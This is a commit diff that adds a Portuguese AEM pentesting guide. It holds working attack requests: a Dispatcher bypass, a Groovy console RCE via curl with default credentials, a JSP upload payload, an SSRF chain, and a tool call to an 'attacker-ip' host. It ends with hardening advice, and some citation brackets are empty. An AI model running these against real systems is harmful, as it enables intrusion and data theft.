mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
37a33fe3cd
commit
3dbf612ee1
@ -1,5 +1,117 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Encontre vulnerabilidades e configurações incorretas com [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
||||
# AEM (Adobe Experience Manager) Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, parte do Adobe Experience Cloud) é um CMS corporativo que roda sobre Apache Sling/Felix (OSGi) e um Repositório de Conteúdo Java (JCR).
|
||||
> Do ponto de vista de um atacante, instâncias do AEM frequentemente expõem endpoints de desenvolvimento perigosos, regras de Dispatcher fracas, credenciais padrão e uma longa lista de CVEs que são corrigidos a cada trimestre.
|
||||
|
||||
A lista de verificação abaixo foca na **superfície de ataque (unauth) acessível externamente** que continua aparecendo em engajamentos reais (2022-2025).
|
||||
|
||||
---
|
||||
|
||||
## 1. Fingerprinting
|
||||
```
|
||||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
Outros indicadores rápidos:
|
||||
* `/etc.clientlibs/` caminho estático presente (retorna JS/CSS).
|
||||
* `/libs/granite/core/content/login.html` página de login com o banner “Adobe Experience Manager”.
|
||||
* `</script><!--/* CQ */-->` comentário na parte inferior do HTML.
|
||||
|
||||
---
|
||||
|
||||
## 2. Endpoints não autenticados de alto valor
|
||||
|
||||
Caminho | O que você obtém | Notas
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | Nós JCR via **DefaultGetServlet** | Frequentemente bloqueado, mas *Dispatcher bypass* (veja abaixo) funciona.
|
||||
`/bin/querybuilder.json?path=/` | API QueryBuilder | Vazamento da árvore de páginas, caminhos internos, nomes de usuários.
|
||||
`/system/console/status-*`, `/system/console/bundles` | Console OSGi/Felix | 403 por padrão; se exposto e credenciais encontradas ⇒ RCE de upload de pacote.
|
||||
`/crx/packmgr/index.jsp` | Gerenciador de Pacotes | Permite pacotes de conteúdo autenticados → upload de payload JSP.
|
||||
`/etc/groovyconsole/**` | Console Groovy AEM | Se exposto → execução arbitrária de Groovy / Java.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Logs de auditoria | Divulgação de informações.
|
||||
`/libs/cq/ui/content/dumplibs.html` | Dump de ClientLibs | Vetor XSS.
|
||||
|
||||
### Truque de bypass do Dispatcher
|
||||
A maioria dos sites de produção está atrás do *Dispatcher* (proxy reverso). Suas regras de filtro podem ser contornadas adicionando uma extensão estática permitida **após um ponto e vírgula ou nova linha codificada**:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
Uma única solicitação como a acima frequentemente revela nós de perfil de usuário com endereços de e-mail. A P-T Partners publicou boas orientações sobre essa vulnerabilidade. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Configurações incorretas comuns (ainda vivas em 2025)
|
||||
|
||||
1. **Servlet POST anônimo** – `POST /.json` com `:operation=import` permite que você crie novos nós JCR. Bloquear `*.json` POST no Dispatcher resolve isso. 【】
|
||||
2. **Perfis de usuário legíveis por todos** – ACL padrão concede `jcr:read` em `/home/users/**/profile/*` para todos.
|
||||
3. **Credenciais padrão** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** habilitado ⇒ XSS refletido via `?debug=layout` (CVE-2016-7882, ainda encontrado em instalações legadas 6.4).
|
||||
5. **Console Groovy exposto** – execução remota de código ao enviar um script Groovy:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Vulnerabilidades recentes (cadência de pacotes de serviço)
|
||||
|
||||
Trimestre | CVE | Afetado | Impacto
|
||||
------- | --- | -------- | ------
|
||||
Dez 2024 | **CVE-2024-43711** | 6.5.21 e anteriores | Validação de entrada inadequada → **Execução de código arbitrário** (requer autenticação de baixo privilégio). 【】
|
||||
Dez 2024 | CVE-2024-43724/26 | 6.5.21 e anteriores | XSS DOM / Armazenado no Assistente de Mover Página. 【】
|
||||
Dez 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS baseado em DOM via URL manipulada. 【】
|
||||
Dez 2022 | CVE-2022-30683 | ≤ 6.5.13 | Falha de design criptográfico → descriptografia secreta (necessita de credenciais de baixo privilégio). 【】
|
||||
|
||||
Sempre verifique o boletim *APSB* correspondente ao pacote de serviço do cliente e solicite o mais recente **6.5.22** ou *Cloud Service 2024.11*.
|
||||
|
||||
---
|
||||
|
||||
## 5. Trechos de exploração
|
||||
|
||||
### 5.1 RCE via bypass do dispatcher + upload de JSP
|
||||
Se a gravação anônima for possível:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
:contentType=text/plain
|
||||
jcr:data=<% out.println("pwned"); %>
|
||||
:operation=import
|
||||
```
|
||||
Agora solicite `/content/evil.jsp` – o JSP é executado com o usuário do processo AEM.
|
||||
|
||||
### 5.2 SSRF para RCE (histórico < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py` do **aem-hacker** automatiza toda a cadeia. 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. Ferramentas
|
||||
|
||||
* **aem-hacker** – script de enumeração tipo canivete suíço, suporta bypass de dispatcher, detecção de SSRF, verificações de credenciais padrão e mais.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Força bruta de conteúdo** – solicita recursivamente `/_jcr_content.(json|html)` para descobrir componentes ocultos.
|
||||
* **osgi-infect** – faça upload de um pacote OSGi malicioso via `/system/console/bundles` se as credenciais estiverem disponíveis.
|
||||
|
||||
---
|
||||
|
||||
## 7. Lista de verificação de endurecimento (para as recomendações do seu relatório)
|
||||
|
||||
1. Mantenha a instância na **última atualização cumulativa** (a partir de jul 2025: 6.5.22).
|
||||
2. Remova/rotacione contas padrão; imponha SSO/SAML.
|
||||
3. Reforce os **filtros do Dispatcher** – negue `;`, quebras de linha codificadas e `*.json` ou `*.querybuilder.json` para usuários anônimos.
|
||||
4. Desative ou proteja consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) com listas de permissão de IP.
|
||||
5. Aplique o pacote *Endurecimento de Permissão Anônima* enviado pela Adobe.
|
||||
|
||||
## Referências
|
||||
|
||||
* Adobe Security Bulletin APSB24-69 – “Atualizações de segurança para Adobe Experience Manager (dez 2024)”.
|
||||
* 0ang3el – ferramenta aem-hacker (GitHub).
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user